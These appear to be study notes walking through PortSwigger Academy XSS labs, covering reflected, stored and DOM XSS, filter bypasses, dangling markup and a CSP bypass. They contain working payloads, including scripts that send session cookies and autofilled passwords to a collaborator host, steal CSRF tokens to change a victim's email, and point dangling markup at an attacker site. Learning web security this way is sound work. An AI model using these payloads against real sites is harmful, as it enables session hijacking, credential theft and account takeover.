Cross-site scripting(XSS)

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

Reflected XSS

Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

The most common form to test for a reflected XSS is through the use of JS's alert(1) function.

Alternatively, some people will use `alert(document.domain)` to explicitly show which domain the JS is executing on.

Reflected XSS into HTML context with nothing encoded

```
INJECTION: <script>alert(1)</script>
```

Reflected XSS into HTML context with most tags and attributes blocked

This lab uses a website that has a web application firewall configured to protect against common XSS vectors.

Step 1: Test for XSS

```
<img src=1 onerror=print()>
Should give you an error of "tag not allowed", meaning there is some
sort of filter for
XSS attacks.
```

Step 2: Determine filter

```
Using burp intruder, run a payload attack on all tags from the
PortSwigger XSS cheat sheet
After running we will see that the "body" tag is not filtered.

We can then test for events, using a similar process.
Injection: <body%20§§=1>
%20 is equal to a space, copy the events form the PortSwigger XSS cheat
sheet.

After running both, we wil determine that the tag body and event
onresize are not filtered.
```

Step 3: Exploit

```
Our goal is to get the website to run an arbitrary print command, and
the only event we can
use to trigger code is onresize.

We can use an iframe of our XSS injection,


URL Encoded:
<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%
3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
Non-URL Encoded:
<iframe src="https://your-lab-id.web-security-academy.net/?search="
><body onresize=print()>" onload=this.style.width='100px'>

Very simply, this creates an html document inside our webpage that
automatically resizes to trigger the print. If we were to just inject
the body onresize=print(), the code would not be triggered until we
actually resized
our page. It is a way to force immediate execution of our arbitrary
code.
```

Reflected XSS into HTML context with all tags b locked except custom ones

This involves a website that has blocked all tags, forcing us to create our own ones.

```
URL Encoded:
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%
3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

Non-URL Encoded:
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=<xss
id=x onfocus=alert(document.cookie) tabindex=1>#x';
</script>


We create our own xss tag, with the id of x. onfocus=alert(document.
cookie) means when when the id of x is focused in some way, it runs the
alert(document.cookie) code. I am unsure what the tabindex is used for
or if its needed

the #x at the end of the injection causes x to be focused immediately,
executing our onfocus command.
```

Reflected XSS with some SVG markup allowed

involves using the SVG library as a tag to allow us to execute an XSS.

Step 1: Test for XSS

```
<img src=1 onerror=alert(1)>
This should be blocked, giving us a tag error. We can try a burpsuite
intruder attack to
determine if any tags are allowed to be passed through.
```

Step 2: Determine filter

```
Using burp intruder, run a payload attack on all tags from the
PortSwigger XSS cheat sheet
After running we will see that the "svg", "animatetransform", <title>,
and <image>
tags are not filtered.

We can then test for events, using a similar process.
Injection: <svg><animatetransform%20§§=1>
%20 is equal to a space, copy the events form the PortSwigger XSS cheat
sheet.

After running both, we wil determine that the event onbegin is available
```

Step 3: Perform injection

```
URL Encoded:
https://your-lab-id.web-security-academy.net/?search=%22%3E%3Csvg%3E%
3Canimatetransform%20onbegin=alert(1)%3E

Non-URL Encoded:
https://your-lab-id.web-security-academy.net/?search="
><svg><animatetransform onbegin=alert(1)>

Very similar to the one 2 questions above, we can exploit the
animatetransform command of SVG to run arbitrary code for us.
```

Reflected XSS into attribute with angle brackets HTML-encoded

Sometimes angle brackets(<>) are encoded, meaning you cannot always break out of them.

A workaround to this is to terminate the attribute value, and then introduce some sort of event handler.

```
" autofocus onfocus=alert(document.domain) x="

The above payload creates an onfocus event that will execute JavaScript
when the element
receives the focus, and also adds the autofocus attribute to try to
trigger the
onfocus event automatically without any user interaction. Finally, it
adds x=" to
gracefully repair the following markup.
```

Stored XSS into anchor href attribute with double quotes HTML-encoded

If we can see our expect that our user input will be placed inside of an <a href=”> tag, we can still exploit arbitrary code for a Stored XSS attack.

```
Injection: javascript:alert(1)

As this is a Stored XSS attack, it will wait until another user has
clicked it on their side
In the lab, this comes in the form of a comment that allows you to post
a link. The link
executes malicious javascript code to pop an alert.
```

Reflected XSS in canonical link tag

This involves using chromes access keys, which we can link to an arbitrary code execution. We bind a specific key on our keyboard to execute any malicious code we like when pressed in a specific way depending on operating system.

```
URL Encoded:
https://your-lab-id.web-security-academy.net/?%27accesskey=%27x%
27onclick=%27alert(1)

Non-URL Encoded:
https://your-lab-id.web-security-academy.net
/?'accesskey='x'onclick='alert(1)

By going to this URL, we have now bound the accesskey x to call the
alert(1) function.

To trigger the exploit on yourself, press one of the following key
combinations:
On Windows: ALT+SHIFT+X
On MacOS: CTRL+ALT+X
On Linux: Alt+X
```

Reflected XS into javascript with single quote and backslash escaped

This attack arises in the situation where our controllable input is already inside a javascript <script> section. If the developers have made it so we cannot simply escape the quotations/backslashes to immediately execute our arbitrary code, we can simply close off the javascript section by entering our own </script>, followed by a resuming <script> arbitrary code</script>

Alternatively we can simply call some html tags that will be executed by javascript.

```
Imagine we have:
<script>
...
var input = 'controllable data here';
...
</script>

First options could be to inject the following:
</script><script>alert(1)</script>
We close out of the original JS, and then run our own.

Second option is through HTML tags,
</script><img src=1 onerror=alert(document.domain)>
```

Reflected XSS into a JavaScript string with angle brackets HTML encoded

In the case our controllable data is inside a string literal, sometime it is infact possible to simply escape the string and then execute our arbitrary code. Once we have done this, it is extremely important that we then clean the rest of the following javascript to ensure there are no parsing /syntax errors or our code will not run at all.

```
Two common forms of injection with this are:
'-alert(document.domain)-'
';alert(document.domain)//
```

Reflected XSS into a JavaScript string with angle bracketse and double quotes HTML-encoded and single quotes escaped

Extending on the question above, perhaps the developer has put a / to escape all special characters and have them be treated as literals. Often when this is implemented, they forget to call this on / itself. This is a similar idea to the directory traversal questions.

```
For example, our payload above was:

';alert(document.domain)//
Which would in turn become
\';alert(document.domain)//

We can double up on the / to have them be cancelled out, so if we inject
\';alert(document.domain)//
it becomes
\\';alert(document.domain)//
```

Exploiting XSS to steal cookies

In this example we inject a XSS paylod to a blog comment, linked to an external server(In this case Burp Collaborator). When the comment is viewed by another user, the payload exfiltrates whatever data we have requested, in this case their session cookie. Once we have acquired their session cookie, we can use it as our own and login to their account.

```
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```

Exploiting XSS to steal passwords

Because many users have password keychains that autofill passwords, we can sometimes utilize an XSS attack to create a fake password input box in an attempt to grab their password and exfiltrate. We must use an external server such as burp collaborator to listen for the request.

```
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch
('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

Exploiting XSS to perform CSRF

Anything a user can do themselves, we should be able to do using XSS. If we are able to inject into a user, we could attempt to force their email to be changed to one we control, then submit a password reset request and gain access to their account. This is typically considered a CSRF attack, and can be mitigated using anti-CSRF tokens. However, if XSS is present we can also steal the anti CSRF token and therefore perform the CSRF attack.

```
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```

This script would read the anti csrf token, and then use it to authenticate as the victim and change their email to test@test.com

Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

If we encounter some user input that is used to generate a hyperlink through a href such as :

```
<a href="#" onclick="... var input='controllable data here'; ...">
```

We can use this as a point of vulnerability for XSS. In this example, the application blocks/escapes single quote characters so we have replaced them with `&apos;`

```
http://foo?&apos;-alert(1)-&apos;
```

This works because the browser decodes values before the JS is interpreted, bypassing the filter and allowing us to escape the quotations and allowing for XSS

XSS in JavaScript template literals

Template literals work similarly to placeholders in a printf statement from c,

```
document.getElementById('message').innerText = `Welcome, ${user.
displayName}.`;
```

They have the form ${values}, and if we find an XSS vuln we can sometimes bypass filters placed upon it by using a template literal to execute our code such as

```
${alert(1)}
```

Dom-Based XSS

> DOM-based XSS vulnerabilities usually arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution, such as `eval()` or `innerHTML`.

Testing for Dom-Based XSS

To test for DOM XSS in an HTML sink, place a random alphanumeric string into the source (such as `location.search`), then use developer tools to inspect the HTML and find where your string appears. Note that the browser's "View source" option won't work for DOM XSS testing because it doesn't take account of changes that have been performed in the HTML by JavaScript. In Chrome's developer tools, you can use `Control+F` (or `Command+F` on MacOS) to search the DOM for your string.

For each location where your string appears within the DOM, you need to identify the context. Based on this context, you need to refine your input to see how it is processed. For example, if your string appears within a double-quoted attribute then try to inject double quotes in your string to see if you can break out of the attribute.

Note that browsers behave differently with regards to URL-encoding, Chrome, Firefox, and Safari will URL-encode `location.search` and `location.hash`, while IE11 and Microsoft Edge (pre-Chromium) will not URL-encode these sources. If your data gets URL-encoded before being processed, then an XSS attack is unlikely to work.

Sinks to look out for that are vulnerable to DOM

```
document.write()
document.writeln()
document.domain
element.innerHTML
```

```
element.outerHTML
element.insertAdjacentHTML
element.onevent
```

jQuery functions to look out for that are vulnerabel to DOM

```
add()
after()
append()
animate()
insertAfter()
insertBefore()
before()
html()
prepend()
replaceAll()
replaceWith()
wrap()
wrapInner()
wrapAll()
has()
constructor()
init()
index()
jQuery.parseHTML()
$.parseHTML()
```

DOM XSS in document.write sink using location.search

In this example, when we enter a “ffff” into the search bar we can inspect element to see that it is being placed into an html tag

```
<img src="/resources/images/tracker.gif?searchTerms=ffff">
```

The next step would be to test to see if we can break out of the quotation & tag, by entering "> into the search bar in an attempt to close off the formatting.

We see that this is successful, which means we can now execute arbitrary javascript

The “svg onload” function will be executed when the web page has loaded content, so we can use it as a way to trigger our malicious code, in this case alert(1)

```
>"<svg onload=alert(1)>
```

We see that this successfully triggered the alert function, completing the lab.

DOM XSS in document.write sink using source location.search inside a select element

In this example, we notice the code uses the following lines to look for a storeId query parameter, and then uses document.write to add it as an option in the dropdown menu:

```
URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
```

When looking at the URL bar, it does not contain a storeId parameter by default but we can easily add our own. We can tell this is a potential spot of vulnerability because it is using document.write on something that can be supplied by user.

We can test to see if this works by injecting our own `&storeId=asdf` into the URL, then inspect and use ctrl+f to locate where our input ended up.

We see that it select statement for the dropdown menu, the next step is to see if we are able to break out.

If we modify our payload to be `&storeId=</select>asdf` then control+f, we will now see the select statement was closed and our text has been input simply as the 4 letters inside no format tag. This means we can now execute our arbitrary java code by modifying to the final payload to run alert,

```
&storeId=</select><svg onload=alert(1)>
```

DOM XSS in innerHTML sink using source location.search

This example has a vulnerability in its search bar, our input is saved in a searchID parameter which is then used by the site in the line:

```
document.getElementById('searchMessage').innerHTML = query;
```

This example differs from the previous because of the use of innerHTML, which does not accept script elements or svg onload events.

To bypass this, we would have to use payloads such as img or iframe, which we can use in collaboration with onload or onerror

The payload is a simple img attack, no format needs to be bypassed

```
<img src=1 onerror=alert(document.domain)>
```

DOM XSS in jQuery anchor href attribute sink using location.search source

If the site uses jQuery, something important to look out for is sinks that alter dom elements on the page such as the attr() function, which changes the attributes of dom elements.

In this example, when going to the submit feedback page there is a query parameter that determines what page the “back” button should take you to using the following code:

```
$(function(){
$('#backLink').attr("href",(new URLSearchParams(window.location.
search)).get('returnUrl'));
});
```

We can exploit this by submitting our own javascrpit injection into the parameter, such as

```
javascript:alert(document.domain)
```

Now when we press the back button, document.domain should be called instead.

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

When inpsecting, if you notice a site using the `ng-app` attribute, this is an indicator of AngularJS being used.

This means that Angular will execute JS inside double curly braces that can occur directly in HTML or inside attributes.

In the lab, we notice the ng-app attribute surrounding our input string

We can use a double curly brace Angular payload to bypass the encoding used by the page:

```
{{$on.constructor('alert(1)')()}}
```

Reflected DOM XSS

Some pure DOM-based vulnerabilities are self-contained within a single page. If a script reads some data from the URL and writes it to a dangerous sink, then the vulnerability is entirely client-side. An example of a reflected dom xss could look something like this:

```
eval('var data = "reflected string"');
```

In the lab, when we submit a value into search we can notice through Burp the response contains a json of our search term and the results. By inspecting element or checking the sitemap, we can find the SearchResults.js file, in which we notice a line very similar to the example above:

```
eval('var searchResultsObj = ' + this.responseText);
```

The next step takes some testing and educated guess work. We have to handle many different formatting issues to have our code be executed.

As you have injected a backslash and the site isn't escaping them, when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively canceled out. This means that the double-quotes are processed unescaped, which closes the string that should contain the search term.

An arithmetic operator (in this case the subtraction operator) is then used to separate the expressions before the `alert()` function is called. Finally, a closing curly bracket and two forward slashes close the JSON object early and comment out what would have been the rest of the object. As a result, the response is generated as follows:

```
{"searchTerm":"\\"-alert(1)}//", "results":[]}
```

Our final payload:

```
\"-alert(1)}//
```

Stored DOM XSS

Similar to the example above, the response contains a json of all comments on the page. We can investigate and find the LoadCommentsVulnerable function containing the following lines:

```
let comments = JSON.parse(this.responseText);

function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }
```

We can see here that it is using our input, as well as attempting to prevent XSS by calling the .replace function to removed “>” and “<“. However, the .replace function will only remove the first occurence if the first argument is a string. This means we can exploit by simply adding an additional “<>” to our payload which will be removed, leaving us with our final payload.

```
<><img src=1 onerror=alert(1)>
```

Dangling Markup Injection

Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn't possible.

Suppose an application embeds attacker-controllable data into its responses in an unsafe way:

`<input type="text" name="input" value="CONTROLLABLE DATA HERE`

The simple, regular XSS approach here would be to escape using

`“>`

However this is sometiems not possible, due to filters, CSP, or any other reason. It may be possible use a Dangling Markup Injection instead, possibly in the form of:

`"><img src='//attacker-website.com?`

This creates an img with the src of our own webserver. Notice how the img tag is not closed off, it is left “dangling”. When a browser encounters this, it will continue all the way until it runs into another `'`

Everything up until it hits that next quotation mark will be included in the url, encoded as a query string. This means we can capture part of the programs response, potentially stealing things such as , CSRF tokens, email messages, financial info or more.

Content Security Policy

CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.
We can look for CSP by seeing if the HTTP response contains the Content-Security-Policy tag, followed by what it does not allow.

It's quite common for a CSP to block resources like script. However, many CSPs do allow image requests. This means you can often use img elements to make requests to external servers in order to disclose CSRF tokens, for example.

Reflected XSS protected by CSP, with dangling markup attack

This lab includes a CSP, and a dangling markup vulnerability in the “change email” function.

This attack requires the use of a secondary attack server to listen for data exfiltration. We use the burp collaborator client.

Step 1: We first need to capture a change-email request using burp, then edit our payload to be the following:

```
<script>
location='https://your-lab-id.web-security-academy.net/my-account?
email=%22%3E%3Ctable%20background=%27//your-collaborator-id.
burpcollaborator.net?';
</script>

Url decoded
<script>
location='https://your-lab-id.web-security-academy.net/my-account?
email="><table background='//your-collaborator-id.burpcollaborator.
net?';
</script>
```

This exploit uses the location of where we are trying to attack, in this case the my-account page of the website and sends the querystring of email with a dangling markup injection.

`email="><table background='//your-collaborator-id.burpcollaborator.net?';`

We first use the “> to break out of the format, then create a table background tag containing a link to our burp collaborator server. Table background is simply a tag that is commonly used for dangling markup injection, refer to the cheatsheet for more.

If a user visits the site now, their browser will send a request containing all the info between our injection point and the next single quotation mark. Upon checking this, we were able to successfully steal their CSRF token.

Step 2: We can now attempt to impersonate their user, and change their email address using the stolen CSRF token.

To do this, we must once again capture a request to change the email. We change the email parameter to whatever we like, and change the CSRF token to the one we stole in the previous step.

1. Right-click on the request and, from the context menu, select "Engagement tools" and then "Generate CSRF PoC". The popup shows both the request and the CSRF HTML that is generated by it. In the request, replace the CSRF token with the one that you stole from the victim earlier.
2. Click "Options" and make sure that the "Include auto-submit script" is activated.
3. Click "Regenerate" to update the CSRF HTML so that it contains the stolen token, then click "Copy HTML" to save it to your clipboard

We can now use this created request as the payload on our server to change their email.